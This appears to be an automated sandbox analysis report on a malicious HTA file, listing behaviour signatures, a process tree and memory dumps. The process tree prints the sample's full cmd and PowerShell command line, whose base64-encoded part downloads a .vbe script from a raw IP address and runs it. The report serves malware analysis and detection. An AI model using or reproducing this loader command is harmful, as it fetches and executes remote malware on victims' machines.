Analysis
- max time kernel
148s - max time network
23s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
17/08/2026, 12:14
General
- Target vbeloadings.hta
- Size 14KB
- Sample260817-pepcbszzfz
- SHA256 fd7c3d18e60405f94ab0ae1aeccd609b803da3850e9950bc5104a646756db943
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\vbeloadings.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/C PowErsHELl.exe -ex Bypass -NOP -w 1 -ec IAAJACAACQAJAAkACQAgAAkAIAAJACAAIAAgAAkAIAAJACAACQAgAAkAIAAJAAkAIAAJAFcARwBlAFQAIAAJAB0gaAB0AHQAcAA6AC8ALwAxADkAOAAuADIAMwAuADEANAA0AC4AMQAyADUALwA0ADAALwB2AGUAcgB5AGcAbwBvAGQAcABlAHIAcwBvAG4AdwBpAHQAaABiAGUAcwB0AGUAbgBlAHIAZwB5AGMAYQBuAGQAbABlAGsAaQBuAGcAcwBmAG8AcgBtAGUAYgBlAHMAdAAuAHYAYgBlAB0gIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAC0ATwB1AFQAZgBpAGwARQAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAB0gJABlAG4AdgA6AGEAUABQAGQAYQBUAEEAXAB2AGUAcgB5AGcAbwBvAGQAdABoAGkAbgBnAHMAdwBpAHQAaABiAGUAcwB0AGYAZQBlAGwAaQBuAGcAcwBmAG8AcgBiAGUAdAB0AGUAcgB0AGgAaQBnAHMALgB2AGIAZQAdICAAIAAgACAAIAAJAAkACQAJAAkAIAAJACAACQAJACAAIAAgAAkACQAJADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAmACAAIAAdICQAZQBOAFYAOgBhAFAAcABEAGEAVABhAFwAdgBlAHIAeQBnAG8AbwBkAHQAaABpAG4AZwBzAHcAaQB0AGgAYgBlAHMAdABmAGUAZQBsAGkAbgBnAHMAZgBvAHIAYgBlAHQAdABlAHIAdABoAGkAZwBzAC4AdgBiAGUAHSA= "2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowErsHELl.exe -ex Bypass -NOP -w 1 -ec IAAJACAACQAJAAkACQAgAAkAIAAJACAAIAAgAAkAIAAJACAACQAgAAkAIAAJAAkAIAAJAFcARwBlAFQAIAAJAB0gaAB0AHQAcAA6AC8ALwAxADkAOAAuADIAMwAuADEANAA0AC4AMQAyADUALwA0ADAALwB2AGUAcgB5AGcAbwBvAGQAcABlAHIAcwBvAG4AdwBpAHQAaABiAGUAcwB0AGUAbgBlAHIAZwB5AGMAYQBuAGQAbABlAGsAaQBuAGcAcwBmAG8AcgBtAGUAYgBlAHMAdAAuAHYAYgBlAB0gIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAC0ATwB1AFQAZgBpAGwARQAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAB0gJABlAG4AdgA6AGEAUABQAGQAYQBUAEEAXAB2AGUAcgB5AGcAbwBvAGQAdABoAGkAbgBnAHMAdwBpAHQAaABiAGUAcwB0AGYAZQBlAGwAaQBuAGcAcwBmAG8AcgBiAGUAdAB0AGUAcgB0AGgAaQBnAHMALgB2AGIAZQAdICAAIAAgACAAIAAJAAkACQAJAAkAIAAJACAACQAJACAAIAAgAAkACQAJADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAmACAAIAAdICQAZQBOAFYAOgBhAFAAcABEAGEAVABhAFwAdgBlAHIAeQBnAG8AbwBkAHQAaABpAG4AZwBzAHcAaQB0AGgAYgBlAHMAdABmAGUAZQBsAGkAbgBnAHMAZgBvAHIAYgBlAHQAdABlAHIAdABoAGkAZwBzAC4AdgBiAGUAHSA= "3⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4480-0-0x0000000074512000-0x0000000074513000-memory.dmp
memory/4480-1-0x0000000003370000-0x00000000033A6000-memory.dmp
memory/4480-2-0x0000000074500000-0x0000000074CBC000-memory.dmp
memory/4480-3-0x0000000005C80000-0x00000000062CA000-memory.dmp
memory/4480-4-0x0000000005BA0000-0x0000000005BC2000-memory.dmp
memory/4480-5-0x0000000074500000-0x0000000074CBC000-memory.dmp
memory/4480-7-0x0000000006340000-0x00000000063A6000-memory.dmp
memory/4480-6-0x00000000062D0000-0x0000000006336000-memory.dmp
memory/4480-10-0x00000000065A0000-0x00000000068FB000-memory.dmp
memory/4480-11-0x0000000006520000-0x000000000653E000-memory.dmp
memory/4480-12-0x0000000006900000-0x000000000694C000-memory.dmp
memory/4480-13-0x00000000081A0000-0x000000000881C000-memory.dmp
memory/4480-14-0x0000000006DB0000-0x0000000006DCA000-memory.dmp
memory/4480-15-0x0000000074512000-0x0000000074513000-memory.dmp
memory/4480-16-0x0000000074500000-0x0000000074CBC000-memory.dmp
memory/4480-19-0x0000000074500000-0x0000000074CBC000-memory.dmp